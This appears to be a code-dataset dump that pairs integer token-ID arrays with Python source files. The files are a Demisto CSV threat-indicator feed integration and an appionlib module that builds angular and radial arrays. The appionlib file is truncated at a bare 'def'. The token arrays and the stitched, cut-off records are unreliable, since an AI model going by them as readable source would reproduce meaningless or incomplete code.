[ 1, 9995, 2528, 287, 9913, 2593, 13, 13, 1123, 4924, 3553, 29901, 29871, 29946, 29881, 2291, 29874, 29941, 29896, 29900, 29946, 29888, 29946, 13, 1123, 1730, 267, 29901, 529, 25711, 17013, 29958, 13, 4391, 4712, 29901, 29871, 29906, 29900, 29896, 29945, 29899, 29900, 29945, 29899, 29906, 29955, 29871, 29896, 29953, 29901, 29900, 29900, 29901, 29900, 29929, 29889, 29941, 29946, 29941, 29947, 29953, 29906, 13, 13, 15945, 29908, 13, 13, 29937, 26554, 2893, 14903, 29892, 1304, 491, 319, 2409, 29890, 293, 29889, 13, 276, 4924, 353, 12801, 10818, 16299, 13, 3204, 29918, 276, 4924, 353, 12801, 25711, 17013, 16299, 13, 17519, 29918, 21134, 353, 6213, 13, 2716, 1975, 29918, 265, 353, 6213, 13, 13, 3166, 20712, 29890, 293, 1053, 1015, 13, 5215, 4576, 284, 305, 6764, 408, 872, 13, 13, 13, 1753, 14955, 29898, 10599, 29918, 978, 1125, 13, 1678, 13149, 1338, 580, 3366, 786, 8228, 29918, 29995, 29879, 29908, 1273, 6012, 29918, 978, 29962, 580, 13, 13, 13, 1753, 1623, 8228, 29898, 10599, 29918, 978, 1125, 13, 1678, 13149, 1338, 580, 3366, 3204, 8228, 29918, 29995, 29879, 29908, 1273, 6012, 29918, 978, 29962, 580, 13, 13, 13, 13, 13, 13, 1753, 14955, 29918, 10149, 7295, 13, 1678, 835, 8260, 4469, 5759, 491, 319, 2409, 29890, 293, 448, 3113, 10365, 29991, 835, 13, 1678, 1015, 29889, 3258, 29918, 2371, 877, 12637, 2593, 742, 13, 1678, 872, 29889, 4409, 877, 12637, 2593, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 8216, 742, 872, 29889, 1626, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 26095, 742, 872, 29889, 1231, 29898, 2848, 29922, 29941, 511, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 3560, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 311, 22742, 742, 872, 29889, 11384, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 11600, 742, 872, 29889, 11384, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 1545, 2164, 742, 872, 29889, 11384, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 23975, 742, 872, 29889, 18146, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 27755, 2558, 21529, 18959, 3560, 29918, 333, 7464, 6024, 12637, 2593, 29889, 12637, 2593, 29918, 333, 7464, 10353, 13, 1678, 872, 29889, 26666, 2558, 21529, 877, 12637, 2593, 29918, 333, 1495, 13, 1678, 1723, 13, 1678, 1015, 29889, 3258, 29918, 2371, 877, 5509, 29918, 9175, 742, 13, 1678, 872, 29889, 4409, 877, 5509, 29918, 333, 742, 872, 29889, 1231, 29898, 2848, 29922, 29941, 29906, 511, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 9175, 742, 872, 29889, 2287, 29907, 2260, 29931, 29898, 17990, 2459, 29922, 29906, 29900, 29892, 6287, 29922, 29953, 511, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 12637, 2593, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 27755, 2558, 21529, 18959, 12637, 2593, 29918, 333, 7464, 6024, 12637, 2593, 29889, 12637, 2593, 29918, 333, 7464, 10353, 13, 1678, 872, 29889, 26666, 2558, 21529, 877, 5509, 29918, 333, 742, 525, 12637, 2593, 29918, 333, 1495, 13, 1678, 1723, 13, 1678, 1015, 29889, 3258, 29918, 2371, 877, 12637, 2593, 29918, 18434, 742, 13, 1678, 872, 29889, 4409, 877, 18434, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 3696, 742, 872, 29889, 1231, 29898, 2848, 29922, 29947, 511, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 1792, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 12637, 2593, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 15539, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 1256, 742, 872, 29889, 11384, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 4409, 877, 29879, 14551, 742, 872, 29889, 1626, 3285, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 27755, 2558, 21529, 18959, 15539, 29918, 333, 7464, 6024, 15539, 29889, 15539, 29918, 333, 7464, 10353, 13, 1678, 872, 29889, 27755, 2558, 21529, 18959, 12637, 2593, 29918, 333, 7464, 6024, 12637, 2593, 29889, 12637, 2593, 29918, 333, 7464, 10353, 13, 1678, 872, 29889, 27755, 2558, 21529, 18959, 1792, 29918, 333, 7464, 6024, 1792, 29889, 1792, 29918, 333, 7464, 10353, 13, 1678, 872, 29889, 26666, 2558, 21529, 877, 18434, 29918, 333, 1495, 13, 1678, 1723, 13, 1678, 1015, 29889, 3258, 29918, 2371, 877, 12637, 2593, 29918, 2997, 2133, 742, 13, 1678, 872, 29889, 4409, 877, 11675, 742, 872, 29889, 1231, 29898, 2848, 29922, 29906, 511, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 3560, 29918, 333, 742, 872, 29889, 7798, 3285, 1870, 519, 29922, 8824, 511, 13, 1678, 872, 29889, 4409, 877, 2997, 1891, 29918, 978, 742, 872, 29889, 1231, 29898, 2848, 29922, 29906, 29945, 29946, 511, 1870, 519, 29922, 5574, 511, 13, 1678, 872, 29889, 27755, 2558, 21529, 18959, 3560, 29918, 333, 7464, 6024, 12637, 2593, 29889, 12637, 2593, 29918, 333, 7464, 10353, 13, 1678, 872, 29889, 26666, 2558, 21529, 877, 11675, 742, 525, 3560, 29918, 333, 5477, 13, 1678, 872, 29889, 8110, 802, 21529, 877, 2997, 1891, 29918, 978, 742, 525, 11675, 742, 1024, 2433, 29884, 861, 29918, 12637, 2593, 29918, 2997, 2133, 1495, 13, 1678, 1723, 13, 1678, 835, 1095, 319, 2409, 29890, 293, 8260, 835, 13, 13, 13, 1753, 1623, 8228, 29918, 10149, 7295, 13, 1678, 835, 8260, 4469, 5759, 491, 319, 2409, 29890, 293, 448, 3113, 10365, 29991, 835, 13, 1678, 1015, 29889, 8865, 29918, 2371, 877, 12637, 2593, 29918, 2997, 2133, 1495, 13, 1678, 1015, 29889, 8865, 29918, 2371, 877, 12637, 2593, 29918, 18434, 1495, 13, 1678, 1015, 29889, 8865, 29918, 2371, 877, 5509, 29918, 9175, 1495, 13, 1678, 1015, 29889, 8865, 29918, 2371, 877, 12637, 2593, 1495, 13, 1678, 835, 1095, 319, 2409, 29890, 293, 8260, 835, 13, 13, 13, 1753, 14955, 29918, 29888, 5171, 7295, 13, 1678, 1209, 13, 13, 13, 1753, 1623, 8228, 29918, 29888, 5171, 7295, 13, 1678, 1209, 13, 13, 2 ]
Integrations/FeedCSV/FeedCSV.py
mvpe/content
0
1604847
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * ''' IMPORTS ''' import urllib3 import csv # disable insecure warnings urllib3.disable_warnings() SOURCE_NAME = 'CSV Feed Integration' class Client(BaseClient): def __init__(self, url: str, fieldnames: str, insecure: bool = False, credentials: dict = None, ignore_regex: str = None, delimiter: str = ',', doublequote: bool = True, escapechar: str = '', quotechar: str = '"', skipinitialspace: bool = False, polling_timeout: int = 20, proxy: bool = False, **kwargs): """ :param url: URL of the feed. :param fieldnames: list of field names in the file. If *null* the values in the first row of the file are used as names. Default: *null* :param insecure: boolean, if *false* feed HTTPS server certificate is verified. Default: *false* :param credentials: username and password used for basic authentication :param ignore_regex: python regular expression for lines that should be ignored. Default: *null* :param delimiter: see `csv Python module <https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default: , :param doublequote: see `csv Python module <https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default: true :param escapechar: see `csv Python module <https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default null :param quotechar: see `csv Python module <https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default " :param skipinitialspace: see `csv Python module <https://docs.python.org/2/library/csv.html#dialects-and-formatting-parameters>`. Default False :param polling_timeout: timeout of the polling request in seconds. Default: 20 :param proxy: Sets whether use proxy when sending requests :param kwargs: """ if not credentials: credentials = {} username = credentials.get('identifier', None) password = credentials.get('password', None) auth = None if username is not None and password is not None: auth = (username, password) super().__init__(base_url=url, proxy=proxy, verify=not insecure, auth=auth) try: self.polling_timeout = int(polling_timeout) except (ValueError, TypeError): return_error('"Request Timeout" value must be an integer value. ') self.ignore_regex = ignore_regex if self.ignore_regex is not None: self.ignore_regex = re.compile(self.ignore_regex) # type: ignore self.fieldnames = argToList(fieldnames) self.dialect = { 'delimiter': delimiter, 'doublequote': doublequote, 'escapechar': escapechar, 'quotechar': quotechar, 'skipinitialspace': skipinitialspace } def _build_request(self): r = requests.Request( 'GET', self._base_url, auth=self._auth ) return r.prepare() def build_iterator(self): _session = requests.Session() prepreq = self._build_request() # this is to honour the proxy environment variables rkwargs = _session.merge_environment_settings( prepreq.url, {}, None, None, None # defaults ) rkwargs['stream'] = True rkwargs['verify'] = self._verify rkwargs['timeout'] = self.polling_timeout try: r = _session.send(prepreq, **rkwargs) except requests.ConnectionError: raise requests.ConnectionError('Failed to establish a new connection. Verify that the URL is valid.') try: r.raise_for_status() except Exception: return_error('{} - exception in request: {} {}'.format(SOURCE_NAME, r.status_code, r.content)) raise response = r.content.decode('latin-1').split('\n') if self.ignore_regex is not None: response = filter( lambda x: self.ignore_regex.match(x) is None, # type: ignore response ) csvreader = csv.DictReader( response, fieldnames=self.fieldnames, **self.dialect # type: ignore ) return csvreader def module_test_command(client, args): fieldnames = argToList(demisto.params().get('fieldnames')) if len(fieldnames) == 1 or 'indicator' in fieldnames: client.build_iterator() return 'ok', {}, {} return_error('Please provide a column named "indicator" in fieldnames') def fetch_indicators_command(client, itype): iterator = client.build_iterator() indicators = [] for item in iterator: raw_json = dict(item) value = item.get('indicator') if not value and len(item) == 1: value = next(iter(item.values())) if value: raw_json['value'] = value raw_json['type'] = itype indicators.append({ "value": value, "type": itype, "rawJSON": raw_json, }) return indicators def get_indicators_command(client, args): itype = args.get('indicator_type', demisto.params().get('indicator_type')) limit = int(args.get('limit')) indicators_list = fetch_indicators_command(client, itype) entry_result = camelize(indicators_list[:limit]) hr = tableToMarkdown('Indicators', entry_result, headers=['Value', 'Type', 'Rawjson']) return hr, {'CSV.Indicator': entry_result}, indicators_list def main(): params = {k: v for k, v in demisto.params().items() if v is not None} handle_proxy() client = Client(**params) command = demisto.command() demisto.info('Command being called is {}'.format(command)) # Switch case commands = { 'test-module': module_test_command, 'get-indicators': get_indicators_command } try: if demisto.command() == 'fetch-indicators': indicators = fetch_indicators_command(client, params.get('indicator_type')) # we submit the indicators in batches for b in batch(indicators, batch_size=2000): demisto.createIndicators(b) else: readable_output, outputs, raw_response = commands[command](client, demisto.args()) return_outputs(readable_output, outputs, raw_response) except Exception as e: err_msg = f'Error in {SOURCE_NAME} Integration - Encountered an issue with createIndicators' if \ 'failed to create' in str(e) else f'Error in {SOURCE_NAME} Integration [{e}]' if command == 'fetch-indicators': raise Exception(err_msg) else: return_error(err_msg) if __name__ == '__builtin__' or __name__ == 'builtins': main()
[ 1, 1053, 1261, 391, 290, 1698, 408, 1261, 5137, 13, 3166, 13103, 6004, 11980, 1053, 334, 13, 3166, 13103, 6004, 2659, 11980, 1053, 334, 13, 13, 12008, 306, 3580, 8476, 29903, 14550, 13, 5215, 3142, 1982, 29941, 13, 5215, 11799, 13, 13, 29937, 11262, 297, 24216, 18116, 13, 2271, 1982, 29941, 29889, 20472, 29918, 25442, 886, 580, 13, 13, 27839, 4741, 29918, 5813, 353, 525, 29907, 7597, 5169, 287, 17100, 362, 29915, 13, 13, 13, 1990, 12477, 29898, 5160, 4032, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3142, 29901, 851, 29892, 1746, 7039, 29901, 851, 29892, 297, 24216, 29901, 6120, 353, 7700, 29892, 16140, 29901, 9657, 353, 6213, 29892, 13, 462, 11455, 29918, 13087, 29901, 851, 353, 6213, 29892, 28552, 29901, 851, 353, 13420, 742, 3765, 1396, 29901, 6120, 353, 5852, 29892, 10169, 3090, 29901, 851, 353, 15516, 13, 462, 14978, 3090, 29901, 851, 353, 18793, 742, 14383, 11228, 3493, 29901, 6120, 353, 7700, 29892, 1248, 1847, 29918, 15619, 29901, 938, 353, 29871, 29906, 29900, 29892, 10166, 29901, 6120, 353, 7700, 29892, 13, 462, 3579, 19290, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3142, 29901, 3988, 310, 278, 8343, 29889, 13, 4706, 584, 3207, 1746, 7039, 29901, 1051, 310, 1746, 2983, 297, 278, 934, 29889, 960, 334, 4304, 29930, 278, 1819, 297, 278, 937, 1948, 310, 278, 934, 526, 13, 9651, 1304, 408, 2983, 29889, 13109, 29901, 334, 4304, 29930, 13, 4706, 584, 3207, 297, 24216, 29901, 7223, 29892, 565, 334, 4541, 29930, 8343, 7331, 29903, 1923, 12289, 338, 26834, 29889, 13109, 29901, 334, 4541, 29930, 13, 4706, 584, 3207, 16140, 29901, 8952, 322, 4800, 1304, 363, 6996, 10760, 13, 4706, 584, 3207, 11455, 29918, 13087, 29901, 3017, 4943, 4603, 363, 3454, 393, 881, 367, 17262, 29889, 13109, 29901, 334, 4304, 29930, 13, 4706, 584, 3207, 28552, 29901, 1074, 421, 7638, 5132, 3883, 13, 9651, 529, 991, 597, 2640, 29889, 4691, 29889, 990, 29914, 29906, 29914, 5258, 29914, 7638, 29889, 1420, 29937, 15321, 781, 29879, 29899, 392, 29899, 689, 23980, 29899, 16744, 29958, 1412, 13109, 29901, 1919, 13, 4706, 584, 3207, 3765, 1396, 29901, 1074, 421, 7638, 5132, 3883, 13, 9651, 529, 991, 597, 2640, 29889, 4691, 29889, 990, 29914, 29906, 29914, 5258, 29914, 7638, 29889, 1420, 29937, 15321, 781, 29879, 29899, 392, 29899, 689, 23980, 29899, 16744, 29958, 1412, 13109, 29901, 1565, 13, 4706, 584, 3207, 10169, 3090, 29901, 1074, 421, 7638, 5132, 3883, 13, 9651, 529, 991, 597, 2640, 29889, 4691, 29889, 990, 29914, 29906, 29914, 5258, 29914, 7638, 29889, 1420, 29937, 15321, 781, 29879, 29899, 392, 29899, 689, 23980, 29899, 16744, 29958, 1412, 13109, 1870, 13, 4706, 584, 3207, 14978, 3090, 29901, 1074, 421, 7638, 5132, 3883, 13, 9651, 529, 991, 597, 2640, 29889, 4691, 29889, 990, 29914, 29906, 29914, 5258, 29914, 7638, 29889, 1420, 29937, 15321, 781, 29879, 29899, 392, 29899, 689, 23980, 29899, 16744, 29958, 1412, 13109, 376, 13, 4706, 584, 3207, 14383, 11228, 3493, 29901, 1074, 421, 7638, 5132, 3883, 13, 9651, 529, 991, 597, 2640, 29889, 4691, 29889, 990, 29914, 29906, 29914, 5258, 29914, 7638, 29889, 1420, 29937, 15321, 781, 29879, 29899, 392, 29899, 689, 23980, 29899, 16744, 29958, 1412, 13109, 7700, 13, 4706, 584, 3207, 1248, 1847, 29918, 15619, 29901, 11815, 310, 278, 1248, 1847, 2009, 297, 6923, 29889, 13109, 29901, 29871, 29906, 29900, 13, 4706, 584, 3207, 10166, 29901, 317, 1691, 3692, 671, 10166, 746, 9348, 7274, 13, 4706, 584, 3207, 9049, 5085, 29901, 13, 4706, 9995, 13, 4706, 565, 451, 16140, 29901, 13, 9651, 16140, 353, 6571, 13, 4706, 8952, 353, 16140, 29889, 657, 877, 25378, 742, 6213, 29897, 13, 4706, 4800, 353, 16140, 29889, 657, 877, 5630, 742, 6213, 29897, 13, 4706, 4817, 353, 6213, 13, 4706, 565, 8952, 338, 451, 6213, 322, 4800, 338, 451, 6213, 29901, 13, 9651, 4817, 353, 313, 6786, 29892, 4800, 29897, 13, 13, 4706, 2428, 2141, 1649, 2344, 12035, 3188, 29918, 2271, 29922, 2271, 29892, 10166, 29922, 14701, 29892, 11539, 29922, 1333, 297, 24216, 29892, 4817, 29922, 5150, 29897, 13, 13, 4706, 1018, 29901, 13, 9651, 1583, 29889, 3733, 1847, 29918, 15619, 353, 938, 29898, 3733, 1847, 29918, 15619, 29897, 13, 4706, 5174, 313, 1917, 2392, 29892, 20948, 1125, 13, 9651, 736, 29918, 2704, 877, 29908, 3089, 5974, 449, 29908, 995, 1818, 367, 385, 6043, 995, 29889, 25710, 13, 13, 4706, 1583, 29889, 17281, 29918, 13087, 353, 11455, 29918, 13087, 13, 4706, 565, 1583, 29889, 17281, 29918, 13087, 338, 451, 6213, 29901, 13, 9651, 1583, 29889, 17281, 29918, 13087, 353, 337, 29889, 12198, 29898, 1311, 29889, 17281, 29918, 13087, 29897, 29871, 396, 1134, 29901, 11455, 13, 4706, 1583, 29889, 2671, 7039, 353, 1852, 21254, 29898, 2671, 7039, 29897, 13, 13, 4706, 1583, 29889, 15321, 781, 353, 426, 13, 9651, 525, 6144, 19657, 2396, 28552, 29892, 13, 9651, 525, 8896, 1396, 2396, 3765, 1396, 29892, 13, 9651, 525, 21587, 3090, 2396, 10169, 3090, 29892, 13, 9651, 525, 1396, 3090, 2396, 14978, 3090, 29892, 13, 9651, 525, 11014, 11228, 3493, 2396, 14383, 11228, 3493, 13, 4706, 500, 13, 13, 1678, 822, 903, 4282, 29918, 3827, 29898, 1311, 1125, 13, 4706, 364, 353, 7274, 29889, 3089, 29898, 13, 9651, 525, 7194, 742, 13, 9651, 1583, 3032, 3188, 29918, 2271, 29892, 13, 9651, 4817, 29922, 1311, 3032, 5150, 13, 4706, 1723, 13, 13, 4706, 736, 364, 29889, 19125, 580, 13, 13, 1678, 822, 2048, 29918, 17609, 29898, 1311, 1125, 13, 4706, 903, 7924, 353, 7274, 29889, 7317, 580, 13, 13, 4706, 758, 1457, 29939, 353, 1583, 3032, 4282, 29918, 3827, 580, 13, 13, 4706, 396, 445, 338, 304, 19107, 278, 10166, 5177, 3651, 13, 4706, 364, 19290, 353, 903, 7924, 29889, 14634, 29918, 20944, 29918, 11027, 29898, 13, 9651, 758, 1457, 29939, 29889, 2271, 29892, 13, 9651, 24335, 6213, 29892, 6213, 29892, 6213, 29871, 396, 21274, 13, 4706, 1723, 13, 4706, 364, 19290, 1839, 5461, 2033, 353, 5852, 13, 4706, 364, 19290, 1839, 27902, 2033, 353, 1583, 3032, 27902, 13, 4706, 364, 19290, 1839, 15619, 2033, 353, 1583, 29889, 3733, 1847, 29918, 15619, 13, 13, 4706, 1018, 29901, 13, 9651, 364, 353, 903, 7924, 29889, 6717, 29898, 1457, 1457, 29939, 29892, 3579, 29878, 19290, 29897, 13, 4706, 5174, 7274, 29889, 5350, 2392, 29901, 13, 9651, 12020, 7274, 29889, 5350, 2392, 877, 17776, 304, 10127, 263, 716, 3957, 29889, 1798, 1598, 393, 278, 3988, 338, 2854, 29889, 1495, 13, 4706, 1018, 29901, 13, 9651, 364, 29889, 22692, 29918, 1454, 29918, 4882, 580, 13, 4706, 5174, 8960, 29901, 13, 9651, 736, 29918, 2704, 877, 8875, 448, 3682, 297, 2009, 29901, 6571, 6571, 4286, 4830, 29898, 27839, 4741, 29918, 5813, 29892, 364, 29889, 4882, 29918, 401, 29892, 364, 29889, 3051, 876, 13, 9651, 12020, 13, 13, 4706, 2933, 353, 364, 29889, 3051, 29889, 13808, 877, 5066, 262, 29899, 29896, 2824, 5451, 28909, 29876, 1495, 13, 4706, 565, 1583, 29889, 17281, 29918, 13087, 338, 451, 6213, 29901, 13, 9651, 2933, 353, 4175, 29898, 13, 18884, 14013, 921, 29901, 1583, 29889, 17281, 29918, 13087, 29889, 4352, 29898, 29916, 29897, 338, 6213, 29892, 29871, 396, 1134, 29901, 11455, 13, 18884, 2933, 13, 9651, 1723, 13, 13, 4706, 11799, 16950, 353, 11799, 29889, 21533, 6982, 29898, 13, 9651, 2933, 29892, 13, 9651, 1746, 7039, 29922, 1311, 29889, 2671, 7039, 29892, 13, 9651, 3579, 1311, 29889, 15321, 781, 29871, 396, 1134, 29901, 11455, 13, 4706, 1723, 13, 13, 4706, 736, 11799, 16950, 13, 13, 13, 1753, 3883, 29918, 1688, 29918, 6519, 29898, 4645, 29892, 6389, 1125, 13, 1678, 1746, 7039, 353, 1852, 21254, 29898, 2310, 5137, 29889, 7529, 2141, 657, 877, 2671, 7039, 8785, 13, 1678, 565, 7431, 29898, 2671, 7039, 29897, 1275, 29871, 29896, 470, 525, 513, 20485, 29915, 297, 1746, 7039, 29901, 13, 4706, 3132, 29889, 4282, 29918, 17609, 580, 13, 4706, 736, 525, 554, 742, 24335, 6571, 13, 1678, 736, 29918, 2704, 877, 12148, 3867, 263, 1897, 4257, 376, 513, 20485, 29908, 297, 1746, 7039, 1495, 13, 13, 13, 1753, 6699, 29918, 513, 293, 4097, 29918, 6519, 29898, 4645, 29892, 372, 668, 1125, 13, 1678, 20380, 353, 3132, 29889, 4282, 29918, 17609, 580, 13, 1678, 4221, 4097, 353, 5159, 13, 1678, 363, 2944, 297, 20380, 29901, 13, 4706, 10650, 29918, 3126, 353, 9657, 29898, 667, 29897, 13, 4706, 995, 353, 2944, 29889, 657, 877, 513, 20485, 1495, 13, 4706, 565, 451, 995, 322, 7431, 29898, 667, 29897, 1275, 29871, 29896, 29901, 13, 9651, 995, 353, 2446, 29898, 1524, 29898, 667, 29889, 5975, 22130, 13, 4706, 565, 995, 29901, 13, 9651, 10650, 29918, 3126, 1839, 1767, 2033, 353, 995, 13, 9651, 10650, 29918, 3126, 1839, 1853, 2033, 353, 372, 668, 13, 9651, 4221, 4097, 29889, 4397, 3319, 13, 18884, 376, 1767, 1115, 995, 29892, 13, 18884, 376, 1853, 1115, 372, 668, 29892, 13, 18884, 376, 1610, 7249, 1115, 10650, 29918, 3126, 29892, 13, 9651, 5615, 13, 1678, 736, 4221, 4097, 13, 13, 13, 1753, 679, 29918, 513, 293, 4097, 29918, 6519, 29898, 4645, 29892, 6389, 1125, 13, 1678, 372, 668, 353, 6389, 29889, 657, 877, 513, 20485, 29918, 1853, 742, 1261, 5137, 29889, 7529, 2141, 657, 877, 513, 20485, 29918, 1853, 8785, 13, 1678, 4046, 353, 938, 29898, 5085, 29889, 657, 877, 13400, 8785, 13, 1678, 4221, 4097, 29918, 1761, 353, 6699, 29918, 513, 293, 4097, 29918, 6519, 29898, 4645, 29892, 372, 668, 29897, 13, 1678, 6251, 29918, 2914, 353, 3949, 295, 675, 29898, 513, 293, 4097, 29918, 1761, 7503, 13400, 2314, 13, 1678, 22157, 353, 1591, 1762, 9802, 3204, 877, 2568, 293, 4097, 742, 6251, 29918, 2914, 29892, 9066, 29922, 1839, 1917, 742, 525, 1542, 742, 525, 22131, 3126, 11287, 13, 1678, 736, 22157, 29892, 11117, 29907, 7597, 29889, 28013, 2396, 6251, 29918, 2914, 1118, 4221, 4097, 29918, 1761, 13, 13, 13, 1753, 1667, 7295, 13, 1678, 8636, 353, 426, 29895, 29901, 325, 363, 413, 29892, 325, 297, 1261, 5137, 29889, 7529, 2141, 7076, 580, 565, 325, 338, 451, 6213, 29913, 13, 1678, 4386, 29918, 14701, 580, 13, 1678, 3132, 353, 12477, 29898, 1068, 7529, 29897, 13, 1678, 1899, 353, 1261, 5137, 29889, 6519, 580, 13, 1678, 1261, 5137, 29889, 3888, 877, 6255, 1641, 2000, 338, 6571, 4286, 4830, 29898, 6519, 876, 13, 1678, 396, 28176, 1206, 13, 1678, 8260, 353, 426, 13, 4706, 525, 1688, 29899, 5453, 2396, 3883, 29918, 1688, 29918, 6519, 29892, 13, 4706, 525, 657, 29899, 513, 293, 4097, 2396, 679, 29918, 513, 293, 4097, 29918, 6519, 13, 1678, 500, 13, 1678, 1018, 29901, 13, 4706, 565, 1261, 5137, 29889, 6519, 580, 1275, 525, 9155, 29899, 513, 293, 4097, 2396, 13, 9651, 4221, 4097, 353, 6699, 29918, 513, 293, 4097, 29918, 6519, 29898, 4645, 29892, 8636, 29889, 657, 877, 513, 20485, 29918, 1853, 8785, 13, 9651, 396, 591, 9752, 278, 4221, 4097, 297, 9853, 267, 13, 9651, 363, 289, 297, 9853, 29898, 513, 293, 4097, 29892, 9853, 29918, 2311, 29922, 29906, 29900, 29900, 29900, 1125, 13, 18884, 1261, 5137, 29889, 3258, 2568, 293, 4097, 29898, 29890, 29897, 13, 4706, 1683, 29901, 13, 9651, 19909, 29918, 4905, 29892, 14391, 29892, 10650, 29918, 5327, 353, 8260, 29961, 6519, 850, 4645, 29892, 1261, 5137, 29889, 5085, 3101, 13, 9651, 736, 29918, 4905, 29879, 29898, 949, 519, 29918, 4905, 29892, 14391, 29892, 10650, 29918, 5327, 29897, 13, 1678, 5174, 8960, 408, 321, 29901, 13, 4706, 4589, 29918, 7645, 353, 285, 29915, 2392, 297, 426, 27839, 4741, 29918, 5813, 29913, 17100, 362, 448, 11346, 5336, 287, 385, 2228, 411, 1653, 2568, 293, 4097, 29915, 565, 320, 13, 9651, 525, 26061, 304, 1653, 29915, 297, 851, 29898, 29872, 29897, 1683, 285, 29915, 2392, 297, 426, 27839, 4741, 29918, 5813, 29913, 17100, 362, 15974, 29872, 6525, 29915, 13, 4706, 565, 1899, 1275, 525, 9155, 29899, 513, 293, 4097, 2396, 13, 9651, 12020, 8960, 29898, 3127, 29918, 7645, 29897, 13, 4706, 1683, 29901, 13, 9651, 736, 29918, 2704, 29898, 3127, 29918, 7645, 29897, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 16145, 262, 1649, 29915, 470, 4770, 978, 1649, 1275, 525, 16145, 1144, 2396, 13, 1678, 1667, 580, 13, 2 ]
lib/python2.7/site-packages/appionlib/apCtf/circle.py
leschzinerlab/myami-3.2-freeHand
6
119179
<gh_stars>1-10 #!/usr/bin/env python import math import time import numpy from appionlib.apImage import imagestat #=================== # ANGULAR FUNCTIONS #=================== #=================== class Angular(object): def __init__(self, shape, xfreq=1.0, yfreq=1.0, center=True, flip=False): # setup if center is True: ### distance from center self.center = numpy.array(shape, dtype=numpy.float64)/2.0 - 0.5 else: ### the upper-left edge self.center = (-0.5, -0.5) # function self.flip = flip self.xfreq = xfreq self.yfreq = yfreq self.angular = numpy.fromfunction(self.arctan, shape, dtype=numpy.float64) def arctan(self, y, x): dy = (y - self.center[0])*self.yfreq dx = (x - self.center[1])*self.xfreq if self.flip is True: dy = -1.0*numpy.fliplr(dy) dx = -1.0*dx #print "flipping" #print "dy", dy #print "dx", dx angle = numpy.arctan2(dy, dx) return angle #=================== def generateAngular1(shape, xfreq, yfreq): """ this method is about 2x slower than method 2 """ t0 = time.time() a = Angular(shape, xfreq, yfreq) angular = a.angular ### raw radius from center #print numpy.around(angular*180/math.pi,1) print "angular 1 complete in %.4f sec"%(time.time()-t0) return angular #=================== def generateAngular2(shape, xfreq, yfreq): """ this method is about 2x faster than method 1 """ t0 = time.time() if shape[0] % 2 != 0 or shape[1] % 2 != 0: apDisplay.printError("array shape for radial function must be even") halfshape = numpy.array(shape)/2.0 a = Angular(halfshape, xfreq, yfreq, center=False, flip=False) angular1 = a.angular b = Angular(halfshape, xfreq, yfreq, center=False, flip=True) angular2 = numpy.fliplr(b.angular) circular = numpy.vstack( (numpy.hstack( (numpy.flipud(angular2), -numpy.flipud(angular1)) ),numpy.hstack( (-angular2, angular1), ))) ### raw radius from center #print numpy.around(circular*180/math.pi,1) print "angular 2 complete in %.4f sec"%(time.time()-t0) return circular #=================== # RADIAL FUNCTIONS #=================== #=================== class Radial(object): def __init__(self, shape, xfreq=1.0, yfreq=1.0, center=True): # setup if center is True: ### distance from center self.center = numpy.array(shape, dtype=numpy.float64)/2.0 - 0.5 else: ### the upper-left edge self.center = (-0.5, -0.5) self.xfreqsq = xfreq**2 self.yfreqsq = yfreq**2 # function self.radial = numpy.fromfunction(self.distance, shape, dtype=numpy.float64) def distance(self, y, x): distance = ( (x - self.center[1])**2 * self.xfreqsq + (y - self.center[0])**2 * self.yfreqsq ) return distance #=================== def generateRadial1(shape, xfreq, yfreq): """ this method is about 4x slower than method 2 """ t0 = time.time() r = Radial(shape, xfreq, yfreq) circular = r.radial ### raw radius from center #print circular print "radial 1 complete in %.4f sec"%(time.time()-t0) return circular #=================== def radiusfunc(x, y): radiussq = (x + 0.5)**2 + (y + 0.5)**2 return radiussq #=================== def generateRadial2(shape, xfreq=1.0, yfreq=1.0): """ this method is about 4x faster than method 1 """ t0 = time.time() print shape if shape[0] % 2 != 0 or shape[1] % 2 != 0: apDisplay.printError("array shape for radial function must be even") halfshape = numpy.array(shape)/2.0 #radial = numpy.fromfunction(radiusfunc, halfshape) r = Radial(halfshape, xfreq, yfreq, center=False) radial = r.radial circular = numpy.vstack( (numpy.hstack( (numpy.fliplr(numpy.flipud(radial)), numpy.flipud(radial)) ),numpy.hstack( (numpy.fliplr(radial), radial), ))) ### raw radius from center #print circular print "radial 2 complete in %.4f sec"%(time.time()-t0) return circular #=================== # GAUSSIAN FUNCTIONS #=================== #=================== def 